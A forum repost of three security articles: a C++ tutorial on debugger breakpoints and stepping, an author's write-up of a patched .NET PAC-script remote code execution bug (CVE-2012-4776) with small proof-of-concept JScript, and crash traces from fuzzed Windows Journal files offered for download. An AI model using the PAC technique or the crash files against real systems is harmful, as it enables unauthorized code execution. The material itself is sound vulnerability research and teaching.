Nytro

Writing a Primitive Debugger: Part 2 (Breakpoints/Stepping) Posted on December 2, 2014 by admin For a debugger to be of any practical use, it needs the ability to pause, inspect, and resume a target process. This post will cover these topics by discussing what breakpoints are, how they are implemented by most debuggers on the x86 and x64 Windows platforms, and how to perform instruction level stepping. Breakpoints A breakpoint can simply be defined as a place in a executing code that causes an intentional halt of execution. In the context of debuggers, this is useful because it allows the debugger to inspect the process at that moment in time when nothing is going on — when the process is effectively “broken”. Typical functionality that is seen in debuggers when the target is in a broken state is the ability to view and modify registers/memory, print a disassembly listing of the area surrounding the breakpoint, step into or step over assembly instructions or lines of source code, and other related diagnostic features. Breakpoints themselves can come in a few different varieties. Hardware Interrupt Breakpoints Hardware interrupt breakpoints are probably the most common and simple breakpoints to understand and to implement in a debugger. These are specific to the x86 and x64 architectures and are implemented by using a hardware-supported instruction specifically made to generate a software interrupt that is meant for debuggers. The opcode for this instruction is 0xCC and it matches to an INT 3 instruction. The way that most debuggers implement this is to replace the opcode at the desired address — that is, the breakpoint address — with the 0xCC opcode. When the code is called, the interrupt (EXCEPTION_BREAKPOINT) will be raised, which the debugger will handle and give the user the option to perform the debugging functionality mentioned above. When the user is finished inspecting the program state at that address and wishes to continue, the debugger will replace the original instruction back, make sure that the executing address (EIP or RIP registers, depending on the architecture) point to that original address, and continue execution. However, an interesting problem comes up. When the original instruction is replaced back, the breakpoint will be lost. This may be alright if the breakpoint is meant to be hit only once, but that is very rarely the case. There needs to be a way to re-enable that breakpoint immediately afterwards. This is done by setting the EFlags (or RFlags for x64) register to set the processor into single-step mode. Fortunately, that is pretty easily accomplished by enabling the 8th bit, i.e. performing an OR with 0x100. When the EXCEPTION_BREAKPOINT exception is handled and execution resumes, there will be another exception, EXCEPTION_SINGLE_STEP, thrown on the next instruction executed. At this point, the debugger can re-enable the breakpoint on the previous instruction and resume execution. On the Windows platform, it is easy to see all of this at work by inspecting the DebugBreak function. This function is meant to trigger a local (from within the same process) breakpoint. Below is the disassembly of the function, which shows it simply being what is described above. Those wondering about the mov edi, edi instruction can read more about hot-patchable images, specifically Raymond Chen’s post about the explanation. _DebugBreak@0: 752C3C5D 8B FF mov edi,edi 752C3C5F CC int 3 752C3C60 C3 ret Hardware Debug Registers The second breakpoint implementation technique is also specific to the x86 and x64 architectures and takes advantage of specific debug registers provided by the instruction set. These are the debug registers DR0, DR1, DR2, DR3, and DR7. The first four registers are used to hold the addresses that a hardware breakpoint will break on. Using these means that for the entire program, there can be at most four hardware breakpoints active. The DR7 register is used to control enablement of these registers, with bits 0, 2, 4, 6 corresponding to on/off for DR0, … , DR3. Additionally, bits 16-17, 20-21, 24-25, and 28-29 function as a bitmask for DR0, … , DR3 for when these breakpoints will trigger, with 00 being on execution, 01 on read, and 11 on write. Setting these breakpoints on the Windows platform is a bit tricky. They must be set on the processes main thread. This involves getting the main thread, opening a handle to it with at least THREAD_GET_CONTEXT and THREAD_SET_CONTEXT privileges, and getting/setting the threads context with GetThreadContext/SetThreadContext with the newly added debug registers to reflect the changes. Take note that no executable code in memory is modified to set these breakpoints. It is not like the previous case where an opcode had to be replaced. These are breakpoints that set and unset by changing the contents of hardware registers. What will happen when these are set is that the process will raise an EXCEPTION_SINGLE_STEP exception upon hitting the instruction at the address, which the debugger will then process in a fashion nearly identical to the way it would in the previous section. Due to the small number limitation, these won’t be presented in the sample breakpoint code in this post, but may eventually be written about in the future for the sake of completeness. I have written about their usage for API hooking in a previous post (excuse the dead links in the beginning). The implementation for a debugger is very close to how it is presented there. Software Breakpoints This last class of breakpoints is performed entirely in software and is tied strongly to how the operating system functions. Another name for them is memory breakpoints. They combine some of the best features of interrupt breakpoints, namely the ability to have as many as you’d like, with the best features of hardware breakpoints, which is that nothing in the executing code needs to be overwritten. However, there is a major drawback: they add a significant slowdown to the execution of the code due to their implementation. Instead of being implemented at the address level, these are implemented at the page level. How these work is that the address where a breakpoint will be set will have its page permissions changed to that of a guard page using VirtualProtectEx. When any instruction on the page will be accessed, there will be an EXCEPTION_GUARD_PAGE exception thrown. The debugger will handle this exception and check if the offending address is that of the breakpoint address. If so, the debugger can perform the usual handling/user prompt as with any other breakpoint. If not then the debugger must perform some extra steps. According to the documentation, the guard page protection will be removed from the page after it is raised. This means that once the exception is handled and execution continues, any access afterwards will not generate an EXCEPTION_GUARD_PAGE exception. So in the case that the instruction accessed is not the desired breakpoint address, the breakpoint will be lost. To remedy this, the technique similar to the one presented in the hardware interrupt breakpoint section will be used. The processor will enter in to single-step mode and continue execution. On the next instruction, there will be an EXCEPTION_SINGLE_STEP exception raised. This will be handled by the debugger and the guard page property will be re-enabled on the page. This implementation also will not be covered in this post, but may be covered in the future. I have written about it before, also in the context of API hooking, here. Implementations As mentioned above, enabling and disabling hardware interrupt breakpoints is simply a matter of overwriting opcodes with 0xCC (INT 3). In Windows, this is accomplished in a pretty straightforward manner with the usage of ReadProcessMemory and WriteProcessMemory. [TABLE] [TR] [TD=class: code]const bool InterruptBreakpoint::EnableBreakpoint() { SIZE_T ulBytes = 0; bool bSuccess = BOOLIFY(ReadProcessMemory(m_hProcess, (LPCVOID)m_dwAddress, &m_originalByte, sizeof(unsigned char), &ulBytes)); if (bSuccess && ulBytes == sizeof(unsigned char)) { bSuccess = BOOLIFY(WriteProcessMemory(m_hProcess, (LPVOID)m_dwAddress, &m_breakpointOpcode, sizeof(unsigned char), &ulBytes)); return bSuccess && (ulBytes == sizeof(unsigned char)); } else { fprintf(stderr, "Could not read from address %p. Error = %X\n", m_dwAddress, GetLastError()); } return false; }[/TD] [/TR] [/TABLE] The original byte at the target address is read and stored and then overwritten with 0xCC. Nothing too shocking or out of the ordinary. Disabling the breakpoint is simply done by performing the opposite and writing back the original byte. [TABLE] [TR] [TD=class: code]const bool InterruptBreakpoint::DisableBreakpoint() { SIZE_T ulBytes = 0; const bool bSuccess = BOOLIFY(WriteProcessMemory(m_hProcess, (LPVOID)m_dwAddress, &m_originalByte, sizeof(unsigned char), &ulBytes)); if (bSuccess && ulBytes == sizeof(unsigned char)) { return true; } fprintf(stderr, "Could not write back original opcode to address %p. Error = %X\n", m_dwAddress, GetLastError()); return false; }[/TD] [/TR] [/TABLE] Now with the ability to enable/disable breakpoints, it is time to look at the handlers. As mentioned, upon accessing the instruction where the breakpoint resides, an EXCEPTION_BREAKPOINT exception will be raised. There are a few steps here that need to be done: Check if the breakpoint is in the breakpoint list. This is done because when the debugger first attaches, an EXCEPTION_BREAKPOINT will be raised from the debuggers attaching thread (see previous post). We don’t care about this exception, so just skip it and continue execution If it is in the breakpoint list, and therefore a breakpoint that the user explicitly set, it needs to be disabled. As mentionted before, this is to allow the original instruction to be executed. Open a handle to the thread and get the thread context. Change the execution pointer (EIP or RIP) to point to the breakpoint address and also enable single-step mode. Set the thread context to this newly modified context Save this breakpoint. This is to re-enable it during the EXCEPTION_SINGLE_STEP exception that will be raised immediately after continuing execution. Prompt the user to continue or perform single-steps. Wait for their response and continue execution afterwards depending on the choice. Put into code, it looks like the following: [TABLE] [TR] [TD=class: code]Register(DebugExceptions::eBreakpoint, [&](const DEBUG_EVENT &dbgEvent) { auto &exceptionRecord = dbgEvent.u.Exception.ExceptionRecord; const DWORD_PTR dwExceptionAddress = (DWORD_PTR)exceptionRecord.ExceptionAddress; fprintf(stderr, "Received breakpoint at address %p.\n", dwExceptionAddress); Breakpoint *pBreakpoint = m_pDebugger->FindBreakpoint(dwExceptionAddress); if (pBreakpoint != nullptr) { if (pBreakpoint->Disable()) { CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_ALL; HANDLE hThread = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, dbgEvent.dwThreadId); if (hThread != NULL) { (void)GetThreadContext(hThread, &ctx); #ifdef _M_IX86 ctx.Eip = (DWORD_PTR)dwExceptionAddress; #elif defined _M_AMD64 ctx.Rip = (DWORD_PTR)dwExceptionAddress; #else #error "Unsupported architecture" #endif ctx.EFlags |= 0x100; m_pDebugger->m_pLastBreakpoint = pBreakpoint; m_pDebugger->m_dwExecutingThreadId = dbgEvent.dwThreadId; (void)SetThreadContext(hThread, &ctx); fprintf(stderr, "Press c to continue or s to begin stepping.\n"); (void)m_pDebugger->WaitForContinue(); } else { fprintf(stderr, "Could not open handle to thread %p. Error = %X\n", dbgEvent.dwThreadId, GetLastError()); } } else { fprintf(stderr, "Could not remove breakpoint at address %p.", dwExceptionAddress); } } SetContinueStatus(DBG_CONTINUE); });[/TD] [/TR] [/TABLE] The handler for EXCEPTION_SINGLE_STEP exceptions serves two purposes: it is there to re-enable breakpoints that were just hit, and it is also there to allow the user to continue single-stepping execution of the program. As a result of this, there needs to be a flag declared that is set when the user wishes to enter single-step mode by themselves (instead of it being set through hitting a breakpoint). If the user is in single-step mode then show them a prompt and wait for a response to continue stepping or to continue execution entirely. Again, put into code, it looks like the following: [TABLE] [TR] [TD=class: code]Register(DebugExceptions::eSingleStep, [&](const DEBUG_EVENT &dbgEvent) { auto &exceptionRecord = dbgEvent.u.Exception.ExceptionRecord; const DWORD_PTR dwExceptionAddress = (DWORD_PTR)exceptionRecord.ExceptionAddress; fprintf(stderr, "Received single step at address %p\n", dwExceptionAddress); if (m_pDebugger->m_bIsStepping) { fprintf(stderr, "Press s to continue stepping.\n"); m_pDebugger->m_dwExecutingThreadId = dbgEvent.dwThreadId; (void)m_pDebugger->WaitForContinue(); } if (!m_pDebugger->m_pLastBreakpoint->IsEnabled()) { (void)m_pDebugger->m_pLastBreakpoint->Enable(); } SetContinueStatus(DBG_CONTINUE); });[/TD] [/TR] [/TABLE] Debugger in action With everything in place, the debugger is ready to be tested out. The easiest way is to write a sample program that will be attached to: [TABLE] [TR] [TD=class: code]#include #include void TestFunction() { printf("Hello, World!\n"); } int main(int argc, char *argv[]) { printf("Test function address: %p\n", TestFunction); while (true) { getchar(); TestFunction(); } return 0; }[/TD] [/TR] [/TABLE] On my machine, TestFunction resided at 0x13B1000. After attaching and setting a breakpoint on this address, the debugger was able to successfully step execution of the program or continue entirely. a Target address: 0x13B1000 Received breakpoint at address 13B1000. Press c to continue or s to begin stepping. s Received single step at address 13B1001 Press s to continue stepping. s Received single step at address 13B1003 Press s to continue stepping. s Received single step at address 13B1009 Press s to continue stepping. s Received single step at address 13B100A Press s to continue stepping. c The stepped addresses successfully matched up with the disassembly. 013B1000 55 push ebp 013B1001 8B EC mov ebp,esp 013B1003 81 EC C0 00 00 00 sub esp,0C0h 013B1009 53 push ebx 013B100A 56 push esi This was also tested on an x64 version (with a x64 build of the debugger) with equal success. Article Roadmap Future posts will be related on topics closely following the items below: Basics Adding/Removing Breakpoints, Single-stepping Call Stack, Registers, Contexts Symbols Miscellaneous Features The full source code relating to this can be found here. C++11 features were used, so MSVC 2012/2013 is most likely required. Sursa: Writing a Primitive Debugger: Part 2 (Breakpoints/Stepping) | RCE Endeavors

Old .NET Vulnerability #1: PAC Script RCE (CVE-2012-4776) This is the start of a very short series on some of my old .NET vulnerabilities which have been patched. Most of these issues have never been publicly documented, or at least there have been no PoCs made available. Hopefully it's interesting to some people. The first vulnerability I'm going to talk about is CVE-2012-4776 which was fixed in MS12-074. It was an issue in the handling of Web Proxy Auto-Configuration scripts (PAC). It was one of the only times that MS has ever credited me with a RCE in .NET since they made it harder to execute .NET code from IE. Though to be fair making it harder might be partially my fault. The purpose of a PAC script, if you've never encountered one before, is to allow a web client to run some proxy decision logic before it connects to a web server. An administrator can configure the script to make complex decisions on how outbound connections are made, for example forcing all external web sites through a gateway proxy but all Intranet connections go direct to the server. You can read all about it on Wikipedia and many other sites as well but the crucial thing to bear in mind is the PAC script is written in Javascript. The most basic PAC script you can create is as follows: function FindProxyForURL(url, host) { // Always return no proxy setting return "DIRECT"; } On Windows if you use the built-in HTTP libraries such as WinINET and WinHTTP you don't need to worry about these files yourself, but if you roll your own HTTP stack, like .NET does, you'd be on your own to reimplement this functionality. So when faced with this problem what to do? If you answered, "let's use a .NET implementation of Javascript" you'd be correct. Some people don't realise that .NET comes with its own implementation of Javascript (JScript for licensing reasons). It even comes with a compiler, jsc.exe, installed by default. While I was having a look at .NET, evaluating anything interesting which asserts full trust permissions I came across the .NET PAC implementation. The following method is from the System.Net.VsaWebProxyScript class in the Microsoft.JScript assembly (some code removed for brevity): [PermissionSet(SecurityAction.Assert, Name="FullTrust")] public bool Load(Uri engineScriptLocation, string scriptBody, Type helperType) { try { engine = new VsaEngine(); engine.RootMoniker = "pac-" + engineScriptLocation.ToString(); engine.Site = new VsaEngineSite(helperType); engine.InitNew(); engine.RootNamespace = "__WebProxyScript"; StringBuilder sb = new StringBuilder(); sb.Append("[assembly:System.Security.SecurityTransparent()] ..."); sb.Append("class __WebProxyScript { ... }\r\n"); sb.Append(scriptBody); IVsaCodeItem item2 = engine.Items.CreateItem("SourceText", VsaItemType.Code, VsaItemFlag.None) as IVsaCodeItem; item2.SourceText = sb.ToString(); if (engine.Compile()) { engine.Run(); scriptInstance = Activator.CreateInstance( engine.Assembly.GetType("__WebProxyScript.__WebProxyScript")); CallMethod(scriptInstance, "SetEngine", new object[] { engine }); return true; } } catch { } return false; } The code is taking the PAC script from the remote location as a string, putting it together with some boiler plate code to implement the standard PAC functions and compiling it to an assembly. This seems too good to be true from an exploit perspective. It was time to give it a try so I configured a simple .NET application with a PAC script by adding the following configuration to the application: <configuration> <system.net> <defaultProxy> <proxy autoDetect="true" scriptLocation="http://127.0.0.1/test.js" /> </defaultProxy> </system.net> </configuration Of course in a real-world scenario the application probably isn't going to be configured like this. Instead the proxy settings might be configured through WPAD, which is known to be spoofable or the system settings. When the application makes a connection using the System.Net.WebClient class it will load the PAC file from the scriptLocation and execute it. With a test harness ready let's try a few things: import System; function FindProxyForURL(url, host) { Console.WriteLine("Hello World!"); return "DIRECT"; } This printed out "Hello World!" as you'd expect, so we can compile and executing JScript.NET code. Awesome. So let's go for the win! import System.IO; function FindProxyForURL(url, host) { File.WriteAllText("test.txt", "Hello World!"); return "DIRECT"; } And... it fails, silently I might add I guess we need to get to the bottom of this. When dealing with the internals of the framework I usually find it easiest to get WinDBG involved. All .NET frameworks come with a handy debugger extension, SOS, which we can use to do low-level debugging of .NET code. A quick tutorial, open the .NET executable in WinDBG and run the following two lines at the console. sxe clr sxe -c ".loadby sos mscorwks; gh" ld:mscorwks What these lines do is set WinDBG to stop on a CLR exception (.NET uses Windows SEH under the hood to pass on exceptions) and adds a handler to load the SOS library when the DLL mscorwks gets loaded. This DLL is the main part of the CLR, we can't actually do any .NET debugging until the CLR is started. As a side note, if this was .NET 4 and above replace mscorwks with clr as that framework uses clr.dll as its main implementation. Restarting the execution of the application we wait for the debugger to break on the CLR exception. Once we've broken into the debugger you can use the SOS command !pe to dump the current exception: Well no surprises, we got a SecurityException trying to open the file we specified. Now at this point it's clear that the PAC script must be running in Partial Trust (PT). This isn't necessarily an issue as I still had a few PT escapes to hand, but would be nice not to need one. By dumping the call stack using the !clrstack command we can see that the original caller was System.Net.AutoWebProxyScriptWrapper. Looking at the class it confirms our suspicions of being run in PT. In the class' CreateAppDomain method it creates an Internet security AppDomain which is going to be pretty limited in permissions then initializes the System.Net.VsaWebProxyScript object inside it. As that class derives from MarshalByRefObject it doesn't leave the restricted AppDomain. Still in situations like this you shouldn't be disheartened, let's go back and look at how the assembly was being loaded into memory. We find it's being loaded from a byte array (maybe bad) but passing a null for the evidence parameter (awesome). As we can see in the remarks from Assembly.Load this is a problem: When you use a Load method overload with a Byte[] parameter to load a COFF image, evidence is inherited from the calling assembly. This applies to the .NET Framework version 1.1 Service Pack 1 (SP1) and subsequent releases. So what we end up with is an assembly which inherits its permissions from the calling assembly. The calling assembly is trusted framework code, which means our compiled PAC code is also trusted code. So why doesn't the file function work? Well you have to remember how security in AppDomains interact with the security stack walk when a demand for a permission is requested. The transition between the trusted and the untrusted AppDomains acts as a PermitOnly security boundary. What this means is that even if every caller on the current stack is trusted, if no-one asserts higher permissions than the AppDomain's current set then a demand would fail as shown in the below diagram: There are plenty of ways around this situation, in fact we'll see a few in my next post on this topic. But for now there's an easy way past this issue, all we need is something to assert suitable permissions for us while we run our code. Turns out it was there all along, the original Load method uses the attribute form of permission assertion to assert full trust. [PermissionSet(SecurityAction.Assert, Name="FullTrust")] We can get code to run in that method because the loading of the assembly will execute any global JScript code automatically, so a quick modification and we get privileged execution: import System.IO; File.WriteAllText("test.txt", "Hello World!"); function FindProxyForURL(url, host) { return "DIRECT"; } Why couldn't we have just done a new PermissionSet(PermissionState.Unrestricted).Assert() here? Well if you look at the code being generated for compilation it sets the SecurityTransparent assembly attribute. This tells the CLR that this code isn't allowed to elevate its permissions, but it's transparent to security decisions. If you have a trusted assembly which is transparent it doesn't effect the stack walk at all, but it also cannot assert higher permissions. This is why the assertion in the Load method was so important. Of course this assertion was what originally led me to finding the code in the first place. Microsoft fixed this in two ways, first they "fixed" the JScript code to not execute under a privileged permission set as well as passing an appropriate evidence object to the Assembly load. And secondly they basically blocked use of JScript.NET by default (see the notes in the KB article here). If you ever find a custom implementation of PAC scripts in an application it's always worth a quick look to see what they're using. Posted by tiraniddo at 05:40 Sursa: Tyranid's Lair: Old .NET Vulnerability #1: PAC Script RCE (CVE-2012-4776)

[h=1]Windows Journal has a lot of 0days![/h] @w3bd3vil I was reading the blog at beyondtrust and decided to check if Journal was really an easy target. Behold, multiple exploitable looking crashes in a couple of minutes of mutation! The original.jnt is the same file used in the blog. All files can be downloaded from: https://mega.co.nz/#!nUUS3DhK!cQuL3x1Z-MmxOUsUwfDlVjfiJDyjlkhAacynW4FnAKc Password: webdevil Tested on Win7 otelgyuztokyfflidmre.jnt (388.133c): Access violation - code c0000005 (!!! second chance !!!) ntdll!RtlpFreeHeap+0x5d5: 00000000`772b46e5 418b40f8 mov eax,dword ptr [r8-8] ds:ffffffff`fffffff8=???????? 0:000> k Child-SP RetAddr Call Site 00000000`0029e320 00000000`772b40fd ntdll!RtlpFreeHeap+0x5d5 00000000`0029e660 000007fe`feeb10c8 ntdll!RtlFreeHeap+0x1a6 00000000`0029e6e0 000007fe`ebb02070 msvcrt!free+0x1c 00000000`0029e710 000007fe`ebb00985 NBDoc!CEPMRCFormatReader::BlcReWrite+0xba0 00000000`0029e8c0 000007fe`ebaefcfc NBDoc!CEPMRCFormatReader::RgnsToImageLayers+0x2c5 00000000`0029ea10 000007fe`ebaee744 NBDoc!CIFD::GetMRCImages+0x54c 00000000`0029eb10 000007fe`ebaedfa2 NBDoc!CIFD::GetCompositeLayer+0x4c4 00000000`0029ec00 000007fe`eba80f2c NBDoc!CIFD::GetImageLayerEx+0x172 00000000`0029ec70 000007fe`eba80cd0 NBDoc!CEPEditablePageTiffImpl::InternalGetImageLayer+0x218 00000000`0029ed30 000007fe`efdba523 NBDoc!CEPEditablePageTiffImpl::GetImageLayer+0x80 00000000`0029ed80 000007fe`efdc636a MSPVWCTL!CPage::EnableImageLayer+0xbb 00000000`0029edd0 000007fe`efdb4210 MSPVWCTL!CPageDisplay::SetPageNum+0xb6 00000000`0029ee30 000007fe`efdb56e6 MSPVWCTL!CMultiPageDisplayViewBase::AddPageD+0x1dc 00000000`0029eee0 000007fe`efdb4b40 MSPVWCTL!CDocViewBaseImpl::UpdateViewLayout+0x3ca 00000000`0029f040 000007fe`efd96245 MSPVWCTL!CDocViewBaseImpl::Recalc+0x3c 00000000`0029f090 000007fe`efd96717 MSPVWCTL!CEPDocView::AfterLoadDoc+0x165 00000000`0029f100 000007fe`efd9768f MSPVWCTL!CEPDocView::Commit+0xcb *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Windows Journal\Journal.exe 00000000`0029f160 00000001`3fc69920 MSPVWCTL!CEPDocView::put_Document+0x53 00000000`0029f1a0 00000001`3fc8b44d Journal+0x49920 00000000`0029f1f0 00000001`3fc816cd Journal+0x6b44d ddvptbflittlwwyifrhz.jnt (b04.1370): Unknown exception - code c0000374 (!!! second chance !!!) ntdll!RtlReportCriticalFailure+0x62: 00000000`77324102 eb00 jmp ntdll!RtlReportCriticalFailure+0x64 (00000000`77324104) 0:000> k Child-SP RetAddr Call Site 00000000`001dd460 00000000`77324746 ntdll!RtlReportCriticalFailure+0x62 00000000`001dd530 00000000`77325952 ntdll!RtlpReportHeapFailure+0x26 00000000`001dd560 00000000`77327604 ntdll!RtlpHeapHandleError+0x12 00000000`001dd590 00000000`772cdc1f ntdll!RtlpLogHeapFailure+0xa4 00000000`001dd5c0 000007fe`feeb10c8 ntdll! ?? ::FNODOBFM::`string'+0x10c54 00000000`001dd640 000007fe`eb66c2c2 msvcrt!free+0x1c 00000000`001dd670 000007fe`eb66b9a0 NBDoc!DecodePos+0x71a 00000000`001dd7e0 000007fe`eb673b05 NBDoc!CBLCDecode::DecodeWithClusters+0x868 00000000`001deae0 000007fe`eb673a07 NBDoc!CBLCDecode::Decode+0x3d 00000000`001deb10 000007fe`eb6bcd8c NBDoc!CBLCDecode::Decode+0x8b 00000000`001deb90 000007fe`eb6d02e2 NBDoc!DecodeBlcToCanvas+0x24c 00000000`001dec40 000007fe`eb6d096a NBDoc!CEPMRCFormatReader::LoadBLCToCanvas+0x142 00000000`001decb0 000007fe`eb6bfcfc NBDoc!CEPMRCFormatReader::RgnsToImageLayers+0x2aa 00000000`001dee00 000007fe`eb6be744 NBDoc!CIFD::GetMRCImages+0x54c 00000000`001def00 000007fe`eb6bdfa2 NBDoc!CIFD::GetCompositeLayer+0x4c4 00000000`001deff0 000007fe`eb650f2c NBDoc!CIFD::GetImageLayerEx+0x172 00000000`001df060 000007fe`eb650cd0 NBDoc!CEPEditablePageTiffImpl::InternalGetImageLayer+0x218 00000000`001df120 000007fe`f2bda523 NBDoc!CEPEditablePageTiffImpl::GetImageLayer+0x80 00000000`001df170 000007fe`f2be636a MSPVWCTL!CPage::EnableImageLayer+0xbb 00000000`001df1c0 000007fe`f2bd4210 MSPVWCTL!CPageDisplay::SetPageNum+0xb6 fiisfjwpxxywlwiqcowm.jnt (380.12f4): Access violation - code c0000005 (!!! second chance !!!) NBDoc!CopyToken+0x65: 000007fe`eb66bb31 44382c10 cmp byte ptr [rax+rdx],r13b ds:00000000`00db5a0d=?? 0:000> k Child-SP RetAddr Call Site 00000000`0014d7e0 000007fe`eb66c251 NBDoc!CopyToken+0x65 00000000`0014d810 000007fe`eb66b9a0 NBDoc!DecodePos+0x6a9 00000000`0014d980 000007fe`eb673b05 NBDoc!CBLCDecode::DecodeWithClusters+0x868 00000000`0014ec80 000007fe`eb673a07 NBDoc!CBLCDecode::Decode+0x3d 00000000`0014ecb0 000007fe`eb6bcd8c NBDoc!CBLCDecode::Decode+0x8b 00000000`0014ed30 000007fe`eb6d02e2 NBDoc!DecodeBlcToCanvas+0x24c 00000000`0014ede0 000007fe`eb6d096a NBDoc!CEPMRCFormatReader::LoadBLCToCanvas+0x142 00000000`0014ee50 000007fe`eb6bfcfc NBDoc!CEPMRCFormatReader::RgnsToImageLayers+0x2aa 00000000`0014efa0 000007fe`eb6be744 NBDoc!CIFD::GetMRCImages+0x54c 00000000`0014f0a0 000007fe`eb6bdfa2 NBDoc!CIFD::GetCompositeLayer+0x4c4 00000000`0014f190 000007fe`eb650f2c NBDoc!CIFD::GetImageLayerEx+0x172 00000000`0014f200 000007fe`eb650cd0 NBDoc!CEPEditablePageTiffImpl::InternalGetImageLayer+0x218 00000000`0014f2c0 000007fe`f2bda523 NBDoc!CEPEditablePageTiffImpl::GetImageLayer+0x80 00000000`0014f310 000007fe`f2be636a MSPVWCTL!CPage::EnableImageLayer+0xbb 00000000`0014f360 000007fe`f2bd4210 MSPVWCTL!CPageDisplay::SetPageNum+0xb6 00000000`0014f3c0 000007fe`f2bd56e6 MSPVWCTL!CMultiPageDisplayViewBase::AddPageD+0x1dc 00000000`0014f470 000007fe`f2bd4b40 MSPVWCTL!CDocViewBaseImpl::UpdateViewLayout+0x3ca 00000000`0014f5d0 000007fe`f2bb6245 MSPVWCTL!CDocViewBaseImpl::Recalc+0x3c 00000000`0014f620 000007fe`f2bb6717 MSPVWCTL!CEPDocView::AfterLoadDoc+0x165 00000000`0014f690 000007fe`f2bb768f MSPVWCTL!CEPDocView::Commit+0xcb rxamgbdcsmxhvlfyyabm.jnt (954.368): Access violation - code c0000005 (!!! second chance !!!) NBDoc!CEPMRCFormatReader::GetRegionImageInfo+0x90: 000007fe`ebb00430 488b4cd018 mov rcx,qword ptr [rax+rdx*8+18h] ds:00000000`003b1000=???????????????? 0:000> k Child-SP RetAddr Call Site 00000000`000eefe0 000007fe`ebb009eb NBDoc!CEPMRCFormatReader::GetRegionImageInfo+0x90 00000000`000ef010 000007fe`ebaefcfc NBDoc!CEPMRCFormatReader::RgnsToImageLayers+0x32b 00000000`000ef160 000007fe`ebaee744 NBDoc!CIFD::GetMRCImages+0x54c 00000000`000ef260 000007fe`ebaedfa2 NBDoc!CIFD::GetCompositeLayer+0x4c4 00000000`000ef350 000007fe`eba80f2c NBDoc!CIFD::GetImageLayerEx+0x172 00000000`000ef3c0 000007fe`eba80cd0 NBDoc!CEPEditablePageTiffImpl::InternalGetImageLayer+0x218 00000000`000ef480 000007fe`eb6ea523 NBDoc!CEPEditablePageTiffImpl::GetImageLayer+0x80 00000000`000ef4d0 000007fe`eb6f636a MSPVWCTL!CPage::EnableImageLayer+0xbb 00000000`000ef520 000007fe`eb6e4210 MSPVWCTL!CPageDisplay::SetPageNum+0xb6 00000000`000ef580 000007fe`eb6e56e6 MSPVWCTL!CMultiPageDisplayViewBase::AddPageD+0x1dc 00000000`000ef630 000007fe`eb6e4b40 MSPVWCTL!CDocViewBaseImpl::UpdateViewLayout+0x3ca 00000000`000ef790 000007fe`eb6c6245 MSPVWCTL!CDocViewBaseImpl::Recalc+0x3c 00000000`000ef7e0 000007fe`eb6c6717 MSPVWCTL!CEPDocView::AfterLoadDoc+0x165 00000000`000ef850 000007fe`eb6c768f MSPVWCTL!CEPDocView::Commit+0xcb *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Windows Journal\Journal.exe 00000000`000ef8b0 00000001`3fd19920 MSPVWCTL!CEPDocView::put_Document+0x53 00000000`000ef8f0 00000001`3fd3b44d Journal+0x49920 00000000`000ef940 00000001`3fd316cd Journal+0x6b44d 00000000`000ef990 00000001`3fd2bc8a Journal+0x616cd 00000000`000efcb0 00000001`3fd2a654 Journal+0x5bc8a *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\MFC42u.dll - 00000000`000efd10 000007fe`ec65c8d6 Journal+0x5a654 oviykfqppyxljkodifhb.jnt (1350.1270): Access violation - code c0000005 (!!! second chance !!!) NBDoc!CopyToken+0x65: 000007fe`ebf4bb31 44382c10 cmp byte ptr [rax+rdx],r13b ds:00000000`0937cf42=?? 0:000> k Child-SP RetAddr Call Site 00000000`000fd740 000007fe`ebf4c251 NBDoc!CopyToken+0x65 00000000`000fd770 000007fe`ebf4b9a0 NBDoc!DecodePos+0x6a9 00000000`000fd8e0 000007fe`ebf53b05 NBDoc!CBLCDecode::DecodeWithClusters+0x868 00000000`000febe0 000007fe`ebf53a07 NBDoc!CBLCDecode::Decode+0x3d 00000000`000fec10 000007fe`ebf9cd8c NBDoc!CBLCDecode::Decode+0x8b 00000000`000fec90 000007fe`ebfb02e2 NBDoc!DecodeBlcToCanvas+0x24c 00000000`000fed40 000007fe`ebfb096a NBDoc!CEPMRCFormatReader::LoadBLCToCanvas+0x142 00000000`000fedb0 000007fe`ebf9fcfc NBDoc!CEPMRCFormatReader::RgnsToImageLayers+0x2aa 00000000`000fef00 000007fe`ebf9e744 NBDoc!CIFD::GetMRCImages+0x54c 00000000`000ff000 000007fe`ebf9dfa2 NBDoc!CIFD::GetCompositeLayer+0x4c4 00000000`000ff0f0 000007fe`ebf30f2c NBDoc!CIFD::GetImageLayerEx+0x172 00000000`000ff160 000007fe`ebf30cd0 NBDoc!CEPEditablePageTiffImpl::InternalGetImageLayer+0x218 00000000`000ff220 000007fe`efdba523 NBDoc!CEPEditablePageTiffImpl::GetImageLayer+0x80 00000000`000ff270 000007fe`efdc636a MSPVWCTL!CPage::EnableImageLayer+0xbb 00000000`000ff2c0 000007fe`efdb4210 MSPVWCTL!CPageDisplay::SetPageNum+0xb6 00000000`000ff320 000007fe`efdb56e6 MSPVWCTL!CMultiPageDisplayViewBase::AddPageD+0x1dc 00000000`000ff3d0 000007fe`efdb4b40 MSPVWCTL!CDocViewBaseImpl::UpdateViewLayout+0x3ca 00000000`000ff530 000007fe`efd96245 MSPVWCTL!CDocViewBaseImpl::Recalc+0x3c 00000000`000ff580 000007fe`efd96717 MSPVWCTL!CEPDocView::AfterLoadDoc+0x165 00000000`000ff5f0 000007fe`efd9768f MSPVWCTL!CEPDocView::Commit+0xcb fkdmtsxkowdcnxpyjqfj.jnt (478.1128): Access violation - code c0000005 (!!! second chance !!!) msvcrt!memset+0xb0: 000007fe`feec58e3 480fc311 movnti qword ptr [rcx],rdx ds:00000000`00000000=???????????????? 0:000> k Child-SP RetAddr Call Site 00000000`0022d738 000007fe`eb20b333 msvcrt!memset+0xb0 00000000`0022d740 000007fe`eb213b05 NBDoc!CBLCDecode::DecodeWithClusters+0x1fb 00000000`0022ea40 000007fe`eb213a07 NBDoc!CBLCDecode::Decode+0x3d 00000000`0022ea70 000007fe`eb25cd8c NBDoc!CBLCDecode::Decode+0x8b 00000000`0022eaf0 000007fe`eb2702e2 NBDoc!DecodeBlcToCanvas+0x24c 00000000`0022eba0 000007fe`eb27096a NBDoc!CEPMRCFormatReader::LoadBLCToCanvas+0x142 00000000`0022ec10 000007fe`eb25fcfc NBDoc!CEPMRCFormatReader::RgnsToImageLayers+0x2aa 00000000`0022ed60 